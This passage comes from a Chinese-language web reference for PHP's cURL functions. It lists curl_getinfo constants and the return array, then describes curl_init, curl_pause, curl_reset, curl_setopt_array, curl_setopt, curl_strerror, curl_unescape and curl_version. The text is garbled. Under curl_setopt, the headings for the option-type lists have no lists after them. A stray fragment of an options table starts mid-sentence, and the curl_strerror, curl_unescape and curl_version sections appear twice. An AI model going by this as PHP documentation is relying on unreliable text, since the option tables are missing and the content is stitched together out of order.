$opt这个参数可能是以下常量之一:CURLINFO_EFFECTIVE_URL - 最后一个有效的URL地址CURLINFO_HTTP_CODE - 最后一个收到的HTTP代码CURLINFO_FILETIME - 远程获取文档的时间,如果无法获取,则返回值为“-1”CURLINFO_TOTAL_TIME - 最后一次传输所消耗的时间CURLINFO_NAMELOOKUP_TIME - 名称解析所消耗的时间CURLINFO_CONNECT_TIME - 建立连接所消耗的时间CURLINFO_PRETRANSFER_TIME - 从建立连接到准备传输所使用的时间CURLINFO_STARTTRANSFER_TIME - 从建立连接到传输开始所使用的时间CURLINFO_REDIRECT_TIME - 在事务传输开始前重定向所使用的时间CURLINFO_SIZE_UPLOAD - 以字节为单位返回上传数据量的总值CURLINFO_SIZE_DOWNLOAD - 以字节为单位返回下载数据量的总值CURLINFO_SPEED_DOWNLOAD - 平均下载速度CURLINFO_SPEED_UPLOAD - 平均上传速度CURLINFO_HEADER_SIZE - header部分的大小CURLINFO_HEADER_OUT - 发送请求的字符串CURLINFO_REQUEST_SIZE - 在HTTP请求中有问题的请求的大小CURLINFO_SSL_VERIFYRESULT - 通过设置CURLOPT_SSL_VERIFYPEER返回的SSL证书验证请求的结果CURLINFO_CONTENT_LENGTH_DOWNLOAD - 从Content-Length: field中读取的下载内容长度CURLINFO_CONTENT_LENGTH_UPLOAD - 上传内容大小的说明CURLINFO_CONTENT_TYPE - 下载内容的Content-Type:值,NULL表示服务器没有发送有效的Content-Type: header

返回值

如果opt被设置,以字符串形式返回它的值。否则,返回返回一个包含下列元素的关联数组(它们分别对应于opt):

"url""content_type""http_code""header_size""request_size""filetime""ssl_verify_result""redirect_count""total_time""namelookup_time""connect_time""pretransfer_time""size_upload""size_download""speed_download""speed_upload""download_content_length""upload_content_length""starttransfer_time""redirect_time"

9、curl_init

初始化 cURL 会话

curl_init(string $url = null): resource初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。

如果提供了该参数,CURLOPT_URL选项将会被设置成这个值。你也可以使用curl_setopt()函数手动地设置这个值。

10、curl_pause

暂停和取消暂停一个连接。

curl_pause(resource $ch, int $bitmask): intbitmask: CURLPAUSE_* 常量之一。返回一个错误代码 (如果没有错误则返回CURLE_OK常量)。

11、curl_reset

重置一个 libcurl 会话句柄的所有的选项

curl_reset(resource $ch): void该函数将给定的 cURL 句柄所有选项重新设置为默认值。

12、curl_setopt_array

为 cURL 传输会话批量设置选项

curl_setopt_array(resource $ch, array $options): bool为 cURL 传输会话批量设置选项。这个函数对于需要设置大量的 cURL 选项是非常有用的,不需要重复地调用 curl_setopt()。 options:一个 array 用来确定将被设置的选项及其值。数组的键值必须是一个有效的curl_setopt()常量或者是它们对等的整数值。如果全部的选项都被成功设置,返回true。如果一个选项不能被成功设置,马上返回false,忽略其后的任何在options数组中的选项。

13、curl_setopt

设置 cURL 传输选项

curl_setopt(resource $ch, int $option, mixed $value): bool为 cURL 会话句柄设置选项。 option:需要设置的CURLOPT_XXX选项。value:将设置在option选项上的值。

以下option参数的value应该被设置成 bool 类型:

​ 以下optionvalue应该被设置成 integer:

​ 对于下面的这些optionvalue应该被设置成 string:

以下optionvalue应该被设置成数组:

以下optionvalue应该被设置成流资源 (例如使用fopen()):

以下optionvalue应该是有效的函数或者闭包:

其他值:

14、curl_strerror

返回错误代码的字符串描述

curl_strerror(int $errornum): string返回文本错误信息,解释了指定的错误代码。 返回错误信息描述,无效的错误代码返回 null 。

15、curl_unescape

解码给定的 URL 编码的字符串

curl_unescape(resource $ch, string $str): string该函数解码给定的 URL 编码的字符串。 str:需要解码的 URL 编码字符串

16、curl_version

获取 cURL 版本信息

curl_version(int $age = CURLVERSION_NOW): array返回关于 cURL 版本的信息。

这个回调函数。 返回非零值将中断传输。 传输将设置CURLE_ABORTED_BY_CALLBACK错误。 |

|CURLOPT_READFUNCTION| 回调函数名。该函数应接受三个参数。第一个是 cURL resource;第二个是通过选项CURLOPT_INFILE传给 cURL 的 stream resource;第三个参数是最大可以读取的数据的数量。回 调函数必须返回一个字符串,长度小于或等于请求的数据量(第三个参数)。一般从传入的 stream resource 读取。返回空字符串作为EOF(文件结束) 信号。 |

|CURLOPT_WRITEFUNCTION| 回调函数名。该函数应接受两个参数。第一个是 cURL resource;第二个是要写入的数据字符串。数 据必须在函数中被保存。 函数必须准确返回写入数据的字节数,否则传输会被一个错误所中 断。 |

其他值:

14、curl_strerror

返回错误代码的字符串描述

curl_strerror(int $errornum): string返回文本错误信息,解释了指定的错误代码。 返回错误信息描述,无效的错误代码返回 null 。

15、curl_unescape

解码给定的 URL 编码的字符串

curl_unescape(resource $ch, string $str): string该函数解码给定的 URL 编码的字符串。 str:需要解码的 URL 编码字符串

16、curl_version

获取 cURL 版本信息

curl_version(int $age = CURLVERSION_NOW): array返回关于 cURL 版本的信息。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。